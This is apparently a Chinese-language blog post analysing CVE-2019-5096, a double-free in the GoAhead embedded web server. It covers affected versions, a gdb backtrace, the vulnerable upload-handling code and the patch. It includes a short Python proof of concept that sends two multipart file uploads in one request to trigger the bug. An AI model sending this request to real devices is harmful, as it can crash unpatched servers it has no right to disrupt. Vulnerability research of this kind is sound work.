• 主页
友链

  • 主页

CVE-2019-5096 GoAhead Double Free 漏洞分析

2020-06-30

简介

GoAhead是美国Embedthis Software公司的一款嵌入式Web服务器,提供开源和企业版本,用于全球数亿台设备中。CVE-2019-5096由思科 Talos 团队的研究员发现,可以在Pre-Auth的条件下触发漏洞。

时间线

  • 报告漏洞 2019-08-28
  • 漏洞修复 2019-11-21
  • 漏洞公开 2019-12-02

漏洞影响范围

  • GoAhead 5.0.1
  • GoAhead 3.6.5
  • GoAhead 4.1.1

复现

PoC

1
2
3
4
5
6
7
import requests
url = 'http://127.0.0.1:8777'
files = {
"file1": ('filename', 'data'),
"file2": ('filename', 'data'),
}
r = requests.post(url, files=files)

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
#2 0x00007ffff77c17ea in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0x7ffff78daed8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff77ca37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>,
str=0x7ffff78dafe8 "double free or corruption (out)", action=0x3) at malloc.c:5006
#4 _int_free (av=<optimized out>, p=<optimized out>, have_lock=0x0) at malloc.c:3867
#5 0x00007ffff77ce53c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968
#6 0x00007ffff7b2ee1c in wfree (mem=0x611260) at src/alloc.c:292
#7 0x00007ffff7b4f1ba in freeUploadFile (up=0x6112a0) at src/upload.c:71
#8 0x00007ffff7b4f236 in websFreeUpload (wp=0x60cbd0) at src/upload.c:88
#9 0x00007ffff7b363c5 in termWebs (wp=0x60cbd0, reuse=0x0) at src/http.c:518
#10 0x00007ffff7b365de in websFree (wp=0x60cbd0) at src/http.c:561
#11 0x00007ffff7b3bc0b in checkTimeout (arg=0x60cbd0, id=0x1) at src/http.c:2362
#12 0x00007ffff7b45785 in callEvent (id=0x1) at src/runtime.c:232
#13 0x00007ffff7b459a5 in websRunEvents () at src/runtime.c:295
#14 0x00007ffff7b38e82 in websServiceEvents (finished=0x60310c <finished>) at src/http.c:1389
#15 0x0000000000401544 in main (argc=0x4, argv=0x7fffffffe4d8, envp=0x7fffffffe500) at src/goahead.c:170
...

漏洞分析

函数调用流程为

  • websProcessUploadData
  • initUpload
  • processContentBoundary
  • processUploadHeader
  • processContentData

其中 processUploadHeader 函数会调用 freeUploadFile free 掉 wp->currentFile

1
2
3
4
5
6
7
static void processUploadHeader(Webs *wp, char *line)
{
...
freeUploadFile(wp->currentFile);
file = wp->currentFile = walloc(sizeof(WebsUpload));
...
}

processContentData 函数会把上传文件加入到 wp->files 中

1
2
3
4
5
6
7
static bool processContentData(Webs *wp)
{
...
hashEnter(wp->files, wp->uploadVar, valueSymbol(file), 0);
defineUploadVars(wp);
...
}

在请求执行完毕后,会进入 termWebs -> websFreeUpload 的执行流,将 wp->files 中的 WebsUpload 对象全部 free 一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PUBLIC void websFreeUpload(Webs *wp)
{
WebsUpload *up;
WebsKey *s;

if (wp->files >= 0) {
for (s = hashFirst(wp->files); s; s = hashNext(wp->files, s)) {
up = s->content.value.symbol;
freeUploadFile(up);
if (up == wp->currentFile) {
wp->currentFile = 0;
}
}
hashFree(wp->files);
}
if (wp->currentFile) {
freeUploadFile(wp->currentFile);
wp->currentFile = 0;
}
if (wp->upfd >= 0) {
close(wp->upfd);
wp->upfd = -1;
}
}

可以看到漏洞触发点是在 freeUploadFile 函数,这里仅仅检查了 up->filename 的值。但是在上传多个文件时,之前的 WebsUpload 对象被 free 掉后仍然在链表中,会触发第二次 free。

1
2
3
4
5
6
7
8
9
10
11
12
static void freeUploadFile(WebsUpload *up)
{
if (up) {
if (up->filename) {
unlink(up->filename);
wfree(up->filename);
}
wfree(up->clientFilename);
wfree(up->contentType);
wfree(up);
}
}

漏洞Patch

补丁修补方式为在 processContentData 函数加入链表后置 wp->currentFile 为空。

1
2
3
4
5
6
7
8
static bool processContentData(Webs *wp)
{
...
hashEnter(wp->files, wp->uploadVar, valueSymbol(file), 0);
defineUploadVars(wp);
wp->currentFile = 0;
...
}

参考链接

  • Vulnerability Spotlight: Two vulnerabilities in EmbedThis GoAhead
  • CVE-2019-5096:GoAhead远程代码执行漏洞分析
  • CVE-2019-5096
  • CVE

扫一扫,分享到微信

微信分享二维码
CVE-2020-8617 Bind9 DOS 漏洞
Python 进程、线程与协程
© 2024 Lyle
Hexo Theme Yilia by Litten
  • 友链
  • rebirth